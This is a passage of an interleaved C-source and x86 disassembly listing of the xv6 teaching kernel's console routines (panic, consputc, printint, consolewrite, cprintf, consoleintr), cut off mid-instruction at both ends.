<cprintf> cprintf(s); 8010038e: 8b 45 08 mov 0x8(%ebp),%eax 80100391: 89 04 24 mov %eax,(%esp) 80100394: e8 b7 02 00 00 call 80100650 <cprintf> cprintf("\n"); 80100399: c7 04 24 5b 7b 10 80 movl $0x80107b5b,(%esp) 801003a0: e8 ab 02 00 00 call 80100650 <cprintf> getcallerpcs(&s, pcs); 801003a5: 8d 45 08 lea 0x8(%ebp),%eax 801003a8: 89 5c 24 04 mov %ebx,0x4(%esp) 801003ac: 89 04 24 mov %eax,(%esp) 801003af: e8 2c 3d 00 00 call 801040e0 <getcallerpcs> 801003b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<10; i++) cprintf(" %p", pcs[i]); 801003b8: 8b 03 mov (%ebx),%eax 801003ba: 83 c3 04 add $0x4,%ebx 801003bd: c7 04 24 a1 70 10 80 movl $0x801070a1,(%esp) 801003c4: 89 44 24 04 mov %eax,0x4(%esp) 801003c8: e8 83 02 00 00 call 80100650 <cprintf> // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); cprintf(s); cprintf("\n"); getcallerpcs(&s, pcs); for(i=0; i<10; i++) 801003cd: 39 f3 cmp %esi,%ebx 801003cf: 75 e7 jne 801003b8 <panic+0x58> cprintf(" %p", pcs[i]); panicked = 1; // freeze other CPU 801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 801003d8: 00 00 00 801003db: eb fe jmp 801003db <panic+0x7b> 801003dd: 8d 76 00 lea 0x0(%esi),%esi 801003e0 <consputc>: } void consputc(int c) { if(panicked){ 801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx 801003e6: 85 d2 test %edx,%edx 801003e8: 74 06 je 801003f0 <consputc+0x10> 801003ea: fa cli 801003eb: eb fe jmp 801003eb <consputc+0xb> 801003ed: 8d 76 00 lea 0x0(%esi),%esi crt[pos] = ' ' | 0x0700; } void consputc(int c) { 801003f0: 55 push %ebp 801003f1: 89 e5 mov %esp,%ebp 801003f3: 57 push %edi 801003f4: 56 push %esi 801003f5: 53 push %ebx 801003f6: 89 c3 mov %eax,%ebx 801003f8: 83 ec 1c sub $0x1c,%esp cli(); for(;;) ; } if(c == BACKSPACE){ 801003fb: 3d 00 01 00 00 cmp $0x100,%eax 80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2> uartputc('\b'); uartputc(' '); uartputc('\b'); } else uartputc(c); 80100406: 89 04 24 mov %eax,(%esp) 80100409: e8 b2 57 00 00 call 80105bc0 <uartputc> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010040e: bf d4 03 00 00 mov $0x3d4,%edi 80100413: b8 0e 00 00 00 mov $0xe,%eax 80100418: 89 fa mov %edi,%edx 8010041a: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010041b: be d5 03 00 00 mov $0x3d5,%esi 80100420: 89 f2 mov %esi,%edx 80100422: ec in (%dx),%al { int pos; // Cursor position: col + 80*row. outb(CRTPORT, 14); pos = inb(CRTPORT+1) << 8; 80100423: 0f b6 c8 movzbl %al,%ecx } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100426: 89 fa mov %edi,%edx 80100428: c1 e1 08 shl $0x8,%ecx 8010042b: b8 0f 00 00 00 mov $0xf,%eax 80100430: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100431: 89 f2 mov %esi,%edx 80100433: ec in (%dx),%al outb(CRTPORT, 15); pos |= inb(CRTPORT+1); 80100434: 0f b6 c0 movzbl %al,%eax 80100437: 09 c1 or %eax,%ecx if(c == '\n') 80100439: 83 fb 0a cmp $0xa,%ebx 8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f> pos += 80 - pos%80; else if(c == BACKSPACE){ 80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx 80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156> if(pos > 0) --pos; } else crt[pos++] = (c&0xff) | 0x0700; // black on white 8010044e: 0f b6 db movzbl %bl,%ebx 80100451: 80 cf 07 or $0x7,%bh 80100454: 8d 79 01 lea 0x1(%ecx),%edi 80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1) 8010045e: 80 if(pos < 0 || pos > 25*80) 8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi 80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a> panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. 8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi 80100471: 7f 68 jg 801004db <consputc+0xfb> 80100473: 89 f8 mov %edi,%eax 80100475: 89 fb mov %edi,%ebx 80100477: c1 e8 08 shr $0x8,%eax 8010047a: 89 c6 mov %eax,%esi 8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100483: bf d4 03 00 00 mov $0x3d4,%edi 80100488: b8 0e 00 00 00 mov $0xe,%eax 8010048d: 89 fa mov %edi,%edx 8010048f: ee out %al,(%dx) 80100490: 89 f0 mov %esi,%eax 80100492: b2 d5 mov $0xd5,%dl 80100494: ee out %al,(%dx) 80100495: b8 0f 00 00 00 mov $0xf,%eax 8010049a: 89 fa mov %edi,%edx 8010049c: ee out %al,(%dx) 8010049d: 89 d8 mov %ebx,%eax 8010049f: b2 d5 mov $0xd5,%dl 801004a1: ee out %al,(%dx) outb(CRTPORT, 14); outb(CRTPORT+1, pos>>8); outb(CRTPORT, 15); outb(CRTPORT+1, pos); crt[pos] = ' ' | 0x0700; 801004a2: b8 20 07 00 00 mov $0x720,%eax 801004a7: 66 89 01 mov %ax,(%ecx) if(c == BACKSPACE){ uartputc('\b'); uartputc(' '); uartputc('\b'); } else uartputc(c); cgaputc(c); } 801004aa: 83 c4 1c add $0x1c,%esp 801004ad: 5b pop %ebx 801004ae: 5e pop %esi 801004af: 5f pop %edi 801004b0: 5d pop %ebp 801004b1: c3 ret for(;;) ; } if(c == BACKSPACE){ uartputc('\b'); uartputc(' '); uartputc('\b'); 801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004b9: e8 02 57 00 00 call 80105bc0 <uartputc> 801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004c5: e8 f6 56 00 00 call 80105bc0 <uartputc> 801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004d1: e8 ea 56 00 00 call 80105bc0 <uartputc> 801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e> if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp) 801004e2: 00 pos -= 80; 801004e3: 8d 5f b0 lea -0x50(%edi),%ebx if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp) 801004ed: 80 pos -= 80; memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp) 801004fc: e8 8f 3e 00 00 call 80104390 <memmove> pos -= 80; memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100501: b8 d0 07 00 00 mov $0x7d0,%eax 80100506: 29 f8 sub %edi,%eax 80100508: 01 c0 add %eax,%eax 8010050a: 89 34 24 mov %esi,(%esp) 8010050d: 89 44 24 08 mov %eax,0x8(%esp) 80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100518: 00 80100519: e8 d2 3d 00 00 call 801042f0 <memset> 8010051e: 89 f1 mov %esi,%ecx 80100520: be 07 00 00 00 mov $0x7,%esi 80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3> if(pos > 0) --pos; } else crt[pos++] = (c&0xff) | 0x0700; // black on white if(pos < 0 || pos > 25*80) panic("pos under/overflow"); 8010052a: c7 04 24 a5 70 10 80 movl $0x801070a5,(%esp) 80100531: e8 2a fe ff ff call 80100360 <panic> pos |= inb(CRTPORT+1); if(c == '\n') pos += 80 - pos%80; else if(c == BACKSPACE){ if(pos > 0) --pos; 80100536: 85 c9 test %ecx,%ecx 80100538: 8d 79 ff lea -0x1(%ecx),%edi 8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f> 80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx 80100546: 31 db xor %ebx,%ebx 80100548: 31 f6 xor %esi,%esi 8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3> pos = inb(CRTPORT+1) << 8; outb(CRTPORT, 15); pos |= inb(CRTPORT+1); if(c == '\n') pos += 80 - pos%80; 8010054f: 89 c8 mov %ecx,%eax 80100551: ba 67 66 66 66 mov $0x66666667,%edx 80100556: f7 ea imul %edx 80100558: c1 ea 05 shr $0x5,%edx 8010055b: 8d 04 92 lea (%edx,%edx,4),%eax 8010055e: c1 e0 04 shl $0x4,%eax 80100561: 8d 78 50 lea 0x50(%eax),%edi 80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f> 80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100570 <printint>: int locking; } cons; static void printint(int xx, int base, int sign) { 80100570: 55 push %ebp 80100571: 89 e5 mov %esp,%ebp 80100573: 57 push %edi 80100574: 56 push %esi 80100575: 89 d6 mov %edx,%esi 80100577: 53 push %ebx 80100578: 83 ec 1c sub $0x1c,%esp static char digits[] = "0123456789abcdef"; char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 8010057b: 85 c9 test %ecx,%ecx 8010057d: 74 61 je 801005e0 <printint+0x70> 8010057f: 85 c0 test %eax,%eax 80100581: 79 5d jns 801005e0 <printint+0x70> x = -xx; 80100583: f7 d8 neg %eax 80100585: bf 01 00 00 00 mov $0x1,%edi else x = xx; i = 0; 8010058a: 31 c9 xor %ecx,%ecx 8010058c: eb 04 jmp 80100592 <printint+0x22> 8010058e: 66 90 xchg %ax,%ax do{ buf[i++] = digits[x % base]; 80100590: 89 d9 mov %ebx,%ecx 80100592: 31 d2 xor %edx,%edx 80100594: f7 f6 div %esi 80100596: 8d 59 01 lea 0x1(%ecx),%ebx 80100599: 0f b6 92 d0 70 10 80 movzbl -0x7fef8f30(%edx),%edx }while((x /= base) != 0); 801005a0: 85 c0 test %eax,%eax else x = xx; i = 0; do{ buf[i++] = digits[x % base]; 801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1) }while((x /= base) != 0); 801005a6: 75 e8 jne 80100590 <printint+0x20> if(sign) 801005a8: 85 ff test %edi,%edi else x = xx; i = 0; do{ buf[i++] = digits[x % base]; 801005aa: 89 d8 mov %ebx,%eax }while((x /= base) != 0); if(sign) 801005ac: 74 08 je 801005b6 <printint+0x46> buf[i++] = '-'; 801005ae: 8d 59 02 lea 0x2(%ecx),%ebx 801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 801005b6: 83 eb 01 sub $0x1,%ebx 801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc(buf[i]); 801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax }while((x /= base) != 0); if(sign) buf[i++] = '-'; while(--i >= 0) 801005c5: 83 eb 01 sub $0x1,%ebx consputc(buf[i]); 801005c8: e8 13 fe ff ff call 801003e0 <consputc> }while((x /= base) != 0); if(sign) buf[i++] = '-'; while(--i >= 0) 801005cd: 83 fb ff cmp $0xffffffff,%ebx 801005d0: 75 ee jne 801005c0 <printint+0x50> consputc(buf[i]); } 801005d2: 83 c4 1c add $0x1c,%esp 801005d5: 5b pop %ebx 801005d6: 5e pop %esi 801005d7: 5f pop %edi 801005d8: 5d pop %ebp 801005d9: c3 ret 801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi uint x; if(sign && (sign = xx < 0)) x = -xx; else x = xx; 801005e0: 31 ff xor %edi,%edi 801005e2: eb a6 jmp 8010058a <printint+0x1a> 801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801005f0 <consolewrite>: return target - n; } int consolewrite(struct inode *ip, char *buf, int n) { 801005f0: 55 push %ebp 801005f1: 89 e5 mov %esp,%ebp 801005f3: 57 push %edi 801005f4: 56 push %esi 801005f5: 53 push %ebx 801005f6: 83 ec 1c sub $0x1c,%esp int i; iunlock(ip); 801005f9: 8b 45 08 mov 0x8(%ebp),%eax return target - n; } int consolewrite(struct inode *ip, char *buf, int n) { 801005fc: 8b 75 10 mov 0x10(%ebp),%esi int i; iunlock(ip); 801005ff: 89 04 24 mov %eax,(%esp) 80100602: e8 99 11 00 00 call 801017a0 <iunlock> acquire(&cons.lock); 80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010060e: e8 1d 3c 00 00 call 80104230 <acquire> 80100613: 8b 7d 0c mov 0xc(%ebp),%edi for(i = 0; i < n; i++) 80100616: 85 f6 test %esi,%esi 80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010061b: 7e 12 jle 8010062f <consolewrite+0x3f> 8010061d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100620: 0f b6 07 movzbl (%edi),%eax 80100623: 83 c7 01 add $0x1,%edi 80100626: e8 b5 fd ff ff call 801003e0 <consputc> { int i; iunlock(ip); acquire(&cons.lock); for(i = 0; i < n; i++) 8010062b: 39 df cmp %ebx,%edi 8010062d: 75 f1 jne 80100620 <consolewrite+0x30> consputc(buf[i] & 0xff); release(&cons.lock); 8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100636: e8 65 3c 00 00 call 801042a0 <release> ilock(ip); 8010063b: 8b 45 08 mov 0x8(%ebp),%eax 8010063e: 89 04 24 mov %eax,(%esp) 80100641: e8 7a 10 00 00 call 801016c0 <ilock> return n; } 80100646: 83 c4 1c add $0x1c,%esp 80100649: 89 f0 mov %esi,%eax 8010064b: 5b pop %ebx 8010064c: 5e pop %esi 8010064d: 5f pop %edi 8010064e: 5d pop %ebp 8010064f: c3 ret 80100650 <cprintf>: //PAGEBREAK: 50 // Print to the console. only understands %d, %x, %p, %s. void cprintf(char *fmt, ...) { 80100650: 55 push %ebp 80100651: 89 e5 mov %esp,%ebp 80100653: 57 push %edi 80100654: 56 push %esi 80100655: 53 push %ebx 80100656: 83 ec 1c sub $0x1c,%esp int i, c, locking; uint *argp; char *s; locking = cons.locking; 80100659: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010065e: 85 c0 test %eax,%eax { int i, c, locking; uint *argp; char *s; locking = cons.locking; 80100660: 89 45 e0 mov %eax,-0x20(%ebp) if(locking) 80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140> acquire(&cons.lock); if (fmt == 0) 80100669: 8b 45 08 mov 0x8(%ebp),%eax 8010066c: 85 c0 test %eax,%eax 8010066e: 89 c1 mov %eax,%ecx 80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151> panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100676: 0f b6 00 movzbl (%eax),%eax 80100679: 31 db xor %ebx,%ebx 8010067b: 89 cf mov %ecx,%edi 8010067d: 8d 75 0c lea 0xc(%ebp),%esi 80100680: 85 c0 test %eax,%eax 80100682: 75 4c jne 801006d0 <cprintf+0x80> 80100684: eb 5f jmp 801006e5 <cprintf+0x95> 80100686: 66 90 xchg %ax,%ax if(c != '%'){ consputc(c); continue; } c = fmt[++i] & 0xff; 80100688: 83 c3 01 add $0x1,%ebx 8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx if(c == 0) 8010068f: 85 d2 test %edx,%edx 80100691: 74 52 je 801006e5 <cprintf+0x95> break; switch(c){ 80100693: 83 fa 70 cmp $0x70,%edx 80100696: 74 72 je 8010070a <cprintf+0xba> 80100698: 7f 66 jg 80100700 <cprintf+0xb0> 8010069a: 83 fa 25 cmp $0x25,%edx 8010069d: 8d 76 00 lea 0x0(%esi),%esi 801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8> 801006a6: 83 fa 64 cmp $0x64,%edx 801006a9: 75 7d jne 80100728 <cprintf+0xd8> case 'd': printint(*argp++, 10, 1); 801006ab: 8d 46 04 lea 0x4(%esi),%eax 801006ae: b9 01 00 00 00 mov $0x1,%ecx 801006b3: 89 45 e4 mov %eax,-0x1c(%ebp) 801006b6: 8b 06 mov (%esi),%eax 801006b8: ba 0a 00 00 00 mov $0xa,%edx 801006bd: e8 ae fe ff ff call 80100570 <printint> 801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi if (fmt == 0) panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006c5: 83 c3 01 add $0x1,%ebx 801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006cc: 85 c0 test %eax,%eax 801006ce: 74 15 je 801006e5 <cprintf+0x95> if(c != '%'){ 801006d0: 83 f8 25 cmp $0x25,%eax 801006d3: 74 b3 je 80100688 <cprintf+0x38> consputc('%'); break; default: // Print unknown % sequence to draw attention. consputc('%'); consputc(c); 801006d5: e8 06 fd ff ff call 801003e0 <consputc> if (fmt == 0) panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006da: 83 c3 01 add $0x1,%ebx 801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006e1: 85 c0 test %eax,%eax 801006e3: 75 eb jne 801006d0 <cprintf+0x80> consputc(c); break; } } if(locking) 801006e5: 8b 45 e0 mov -0x20(%ebp),%eax 801006e8: 85 c0 test %eax,%eax 801006ea: 74 0c je 801006f8 <cprintf+0xa8> release(&cons.lock); 801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801006f3: e8 a8 3b 00 00 call 801042a0 <release> } 801006f8: 83 c4 1c add $0x1c,%esp 801006fb: 5b pop %ebx 801006fc: 5e pop %esi 801006fd: 5f pop %edi 801006fe: 5d pop %ebp 801006ff: c3 ret continue; } c = fmt[++i] & 0xff; if(c == 0) break; switch(c){ 80100700: 83 fa 73 cmp $0x73,%edx 80100703: 74 53 je 80100758 <cprintf+0x108> 80100705: 83 fa 78 cmp $0x78,%edx 80100708: 75 1e jne 80100728 <cprintf+0xd8> case 'd': printint(*argp++, 10, 1); break; case 'x': case 'p': printint(*argp++, 16, 0); 8010070a: 8d 46 04 lea 0x4(%esi),%eax 8010070d: 31 c9 xor %ecx,%ecx 8010070f: 89 45 e4 mov %eax,-0x1c(%ebp) 80100712: 8b 06 mov (%esi),%eax 80100714: ba 10 00 00 00 mov $0x10,%edx 80100719: e8 52 fe ff ff call 80100570 <printint> 8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi break; 80100721: eb a2 jmp 801006c5 <cprintf+0x75> 80100723: 90 nop 80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi case '%': consputc('%'); break; default: // Print unknown % sequence to draw attention. consputc('%'); 80100728: b8 25 00 00 00 mov $0x25,%eax 8010072d: 89 55 e4 mov %edx,-0x1c(%ebp) 80100730: e8 ab fc ff ff call 801003e0 <consputc> consputc(c); 80100735: 8b 55 e4 mov -0x1c(%ebp),%edx 80100738: 89 d0 mov %edx,%eax 8010073a: e8 a1 fc ff ff call 801003e0 <consputc> 8010073f: eb 99 jmp 801006da <cprintf+0x8a> 80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = "(null)"; for(; *s; s++) consputc(*s); break; case '%': consputc('%'); 80100748: b8 25 00 00 00 mov $0x25,%eax 8010074d: e8 8e fc ff ff call 801003e0 <consputc> break; 80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75> 80100757: 90 nop case 'x': case 'p': printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) 80100758: 8d 46 04 lea 0x4(%esi),%eax 8010075b: 8b 36 mov (%esi),%esi 8010075d: 89 45 e4 mov %eax,-0x1c(%ebp) s = "(null)"; 80100760: b8 b8 70 10 80 mov $0x801070b8,%eax 80100765: 85 f6 test %esi,%esi 80100767: 0f 44 f0 cmove %eax,%esi for(; *s; s++) 8010076a: 0f be 06 movsbl (%esi),%eax 8010076d: 84 c0 test %al,%al 8010076f: 74 16 je 80100787 <cprintf+0x137> 80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100778: 83 c6 01 add $0x1,%esi consputc(*s); 8010077b: e8 60 fc ff ff call 801003e0 <consputc> printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) s = "(null)"; for(; *s; s++) 80100780: 0f be 06 movsbl (%esi),%eax 80100783: 84 c0 test %al,%al 80100785: 75 f1 jne 80100778 <cprintf+0x128> case 'x': case 'p': printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) 80100787: 8b 75 e4 mov -0x1c(%ebp),%esi 8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75> 8010078f: 90 nop uint *argp; char *s; locking = cons.locking; if(locking) acquire(&cons.lock); 80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100797: e8 94 3a 00 00 call 80104230 <acquire> 8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19> if (fmt == 0) panic("null fmt"); 801007a1: c7 04 24 bf 70 10 80 movl $0x801070bf,(%esp) 801007a8: e8 b3 fb ff ff call 80100360 <panic> 801007ad: 8d 76 00 lea 0x0(%esi),%esi 801007b0 <consoleintr>: #define C(x) ((x)-'@') // Control-x void consoleintr(int (*getc)(void)) { 801007b0: 55 push %ebp 801007b1: 89 e5 mov %esp,%ebp 801007b3: 57 push %edi 801007b4: 56 push %esi int c, doprocdump = 0; 801007b5: 31 f6 xor %esi,%esi #define C(x) ((x)-'@') // Control-x void consoleintr(int (*getc)(void)) { 801007b7: 53 push %ebx 801007b8: 83 ec 1c sub $0x1c,%esp 801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx int c, doprocdump = 0; acquire(&cons.lock); 801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801007c5: e8 66 3a 00 00 call 80104230 <acquire> 801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while((c = getc()) >= 0){ 801007d0: ff d3 call *%ebx 801007d2: 85 c0 test %eax,%eax 801007d4: 89 c7 mov %eax,%edi 801007d6: 78 48 js 80100820 <consoleintr+0x70> switch(c){ 801007d8: 83 ff 10 cmp $0x10,%edi 801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160> 801007e1: 7e 5d jle 80100840 <consoleintr+0x90> 801007e3: 83 ff 15 cmp $0x15,%edi 801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110> 801007ec: 83 ff 7f cmp $0x7f,%edi 801007ef: 90 nop 801007f0: 75 53 jne 80100845 <consoleintr+0x95> input.e--; consputc(BACKSPACE); } break; case C('H'): case '\x7f': // Backspace if(input.e != input.w){ 801007f2: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801007f7: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801007fd: 74 d1 je 801007d0 <consoleintr+0x20> input.e--; 801007ff: 83 e8 01 sub $0x1,%eax 80100802: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100807: b8 00 01 00 00 mov $0x100,%eax 8010080c: e8 cf fb ff ff call 801003e0 <consputc> consoleintr(int (*getc)(void)) { int c, doprocdump = 0; acquire(&cons.lock); while((c = getc()) >= 0){ 80100811: ff d3 call *%ebx 80100813: 85 c0 test %eax,%eax 80100815: 89 c7 mov %eax,%edi 80100817: 79 bf jns 801007d8 <consoleintr+0x28> 80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } } break; } } release(&cons.lock); 80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100827: e8 74 3a 00 00 call 801042a0 <release> if(doprocdump) { 8010082c: 85 f6 test %esi,%esi 8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170> procdump(); // now call procdump() wo. cons.lock held } } 80100834: 83 c4 1c add $0x1c,%esp 80100837: 5b pop %ebx 80100838: 5e pop %esi 80100839: 5f pop %edi 8010083a: 5d pop %ebp 8010083b: c3 ret 8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { int c, doprocdump = 0; acquire(&cons.lock); while((c = getc()) >= 0){ switch(c){ 80100840: 83 ff 08 cmp $0x8,%edi 80100843: 74 ad je 801007f2 <consoleintr+0x42> input.e--; consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ 80100845: 85 ff test %edi,%edi 80100847: 74 87 je 801007d0 <consoleintr+0x20> 80100849: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010084e: 89 c2 mov %eax,%edx 80100850: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 80100856: 83 fa 7f cmp $0x7f,%edx 80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20> c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; 8010085f: 8d 50 01 lea 0x1(%eax),%edx 80100862: 83 e0 7f and $0x7f,%eax consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; 80100865: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 80100868: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; 8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c> input.buf[input.e++ % INPUT_BUF] = c; 80100874: 89 f9 mov %edi,%ecx 80100876: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 8010087c: 89 f8 mov %edi,%eax 8010087e: e8 5d fb ff ff call 801003e0 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 80100883: 83 ff 04 cmp $0x4,%edi 80100886: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010088b: 74 19 je 801008a6 <consoleintr+0xf6> 8010088d: 83 ff 0a cmp $0xa,%edi 80100890: 74 14 je 801008a6 <consoleintr+0xf6> 80100892: 8b 0d a0 ff 10 80 mov 0x8010ffa0,%ecx 80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx 8010089e: 39 d0 cmp %edx,%eax 801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20> input.w = input.e; wakeup(&input.r); 801008a6: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; consputc(c); if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ input.w = input.e; 801008ad: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 801008b2: e8 19 35 00 00 call 80103dd0 <wakeup> 801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20> 801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 801008c0: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008c5: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008cb: 75 2b jne 801008f8 <consoleintr+0x148> 801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20> 801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.buf[(input.e-1) % INPUT_BUF] != '\n'){ input.e--; 801008d8: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 801008dd: b8 00 01 00 00 mov $0x100,%eax 801008e2: e8 f9 fa ff ff call 801003e0 <consputc> case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 801008e7: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008ec: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 801008f8: 83 e8 01 sub $0x1,%eax 801008fb: 89 c2 mov %eax,%edx 801008fd: 83 e2 7f and $0x7f,%edx case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 80100900: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 80100907: 75 cf jne 801008d8 <consoleintr+0x128> 80100909: e9 c2 fe ff ff jmp 